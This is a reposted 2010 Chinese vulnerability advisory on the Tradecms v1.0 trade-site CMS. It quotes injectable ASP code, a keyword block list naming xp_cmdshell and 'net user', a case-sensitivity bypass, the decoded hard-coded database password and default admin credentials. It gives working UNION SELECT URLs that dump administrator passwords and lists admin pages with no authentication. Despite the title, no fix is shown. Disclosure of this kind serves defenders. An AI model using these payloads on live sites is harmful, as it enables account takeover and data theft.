欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

Tradecms英文外贸企业网站 v1.0.漏洞分析和修复

程序员文章站 2022-05-01 18:18:31
发布时间:2010-07-15影响版本:Tradecms英文外贸企业网站 v1.0漏洞描述:注入漏洞,跨权限漏洞;数据库地址:Clkj_DaTa/#Clkj_Cms#.mdb数据库打开密码:默...

发布时间:
2010-07-15

影响版本:
Tradecms英文外贸企业网站 v1.0

漏洞描述:注入漏洞,跨权限漏洞;

数据库地址:Clkj_DaTa/#Clkj_Cms#.mdb
数据库打开密码:
默认账号密码:用户:admin  密码:1
默认后台地址:/Clkj_Admin/Index.html

发布作者:m4r10   http://hi.baidu.com/m4r10  转载请注明版权

漏洞分析:P_view.asp,N_view.asp

产品显示P_view.asp-------------------------------------------------------

set rs=server.createobject("adodb.recordset")
exec="select * from clkj_Products where clkj_prid="&request("pid")   //SQL查询
rs.open exec,conn,1,1
clkj_BigClassID=rs("clkj_BigClassID")
clkj_SmallClassID=rs("clkj_SmallClassID")
clkj_SmallClassName=rs("clkj_SmallClassName")
clkj_BigClassName=rs("clkj_BigClassName")
clkj_prtitle=rs("clkj_prtitle")
clkj_prcontent=rs("clkj_prcontent")
clkj_prkey=rs("clkj_prkey")
clkj_prprdes=rs("clkj_prprdes")
clkj_prpic=rs("clkj_prpic")
rs.close

新闻显示 N_view.asp----------------------------------------------------------
set rs=server.createobject("adodb.recordset")
exec="select * from clkj_News where clkj_newsid="&request("nid")   //SQL查询   
rs.open exec,conn,1,1
clkj_news_Title=rs("clkj_news_Title")
clkj_news_content=rs("clkj_news_content")
clkj_news_db=rs("clkj_news_db")
clkj_news_key=rs("clkj_news_key")
clkj_news_time=rs("clkj_news_time")
rs.close

包含文件:<!--#include file="Clkj_Inc/clkj_inc.asp"-->

在Clkj_Inc/clkj_inc.asp中包含SQL防注入文件:Clkj_Conn.asp

Clkj_Conn.asp 中防注入代码:

Dim clkj_js,clkj_dui,clkj_i
clkj_js=request.servervariables("query_string")     //GET方式
Dim deStr(17)                                      //下面为过滤字符
deStr(0)="net user"
deStr(1)="xp_cmdshell"
deStr(2)="/add"
deStr(3)="exec%20master.dbo.xp_cmdshell"
deStr(4)="net localgroup administrators"
deStr(5)="select"
deStr(6)="count"
deStr(7)="asc"
deStr(8)="char"
deStr(9)="mid"
deStr(10)=""
deStr(11)=":"
deStr(12)=""""
deStr(13)="insert"
deStr(14)="delete"
deStr(15)="drop"
deStr(16)="truncate"
deStr(17)="from"
clkj_dui=false
For clkj_i= 0 to ubound(deStr)
IF instr(clkj_js,deStr(clkj_i))<>0 then
clkj_dui=true
end IF
Next
IF clkj_dui Then
Response.Write("出错")
response.end
end if

这段防注入代码只过滤了小写select,因此我们可以用SELECT大写轻松绕过

数据库被加了密码,最近看了很多程序,均对数据库加密码,甚至还有隐藏表名,字段的,还有对ASP文件加密的,难道这是流行趋势吗?其实我是觉得多此一举。

我们来看看数据库密码:
connstr="DBQ="+server.mappath(""&Clkj_mdb&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};password="&pwd&";"

PWD在 Clkj_IncClkj_Md5.asp

pwd=NumTOstring("l0k9j8h7b6l0k9j8h7b6")

并且写了一个函数NumTOstring:

Function NumTOstring(num)
num=replace(num,"0","1")
num=replace(num,"9","2")
num=replace(num,"8","3")
num=replace(num,"7","4")
num=replace(num,"6","5")
num=replace(num,"l","a")
num=replace(num,"k","s")
num=replace(num,"j","d")
num=replace(num,"h","f")
num=replace(num,"b","g")
NumTOstring=num
End function

最后得到:pwd=NumTOstring("a1s2d3f4g5a1s2d3f4g5")

这时再打开数据库:查看管理员表名为:clkj_admin,字段为:clkj_admin,clkj_password

漏洞利用:

http://127.1/P_view.asp?pid=273%20AND%201=2%20UNION%20SELECT%201,2,3,4,5,clkj_password,clkj_admin,8,9,10,11,12,13,14,15,16,17%20FROM%20clkj_admin


http://127.1/N_view.asp?nid=65%20AND%201=2%20UNION%20SELECT%201,2,3,4,5,clkj_password,7,8,9%20FROM%20clkj_admin

直接爆出管理员密码

跨权限漏洞:
以下文件未包含认证文件,因此出现如下漏洞
Clkj_Admin/Nimda_menu.asp      无需登录直接增加删除栏目
Clkj_Admin/Nimda_user.asp      无需登录直接增加删除管理员
Clkj_Admin/Nimda_product.asp   无需登录直接增加产品

<*来源: m4r10
链接: http://hi.baidu.com/m4r10
转载请注明版权
*>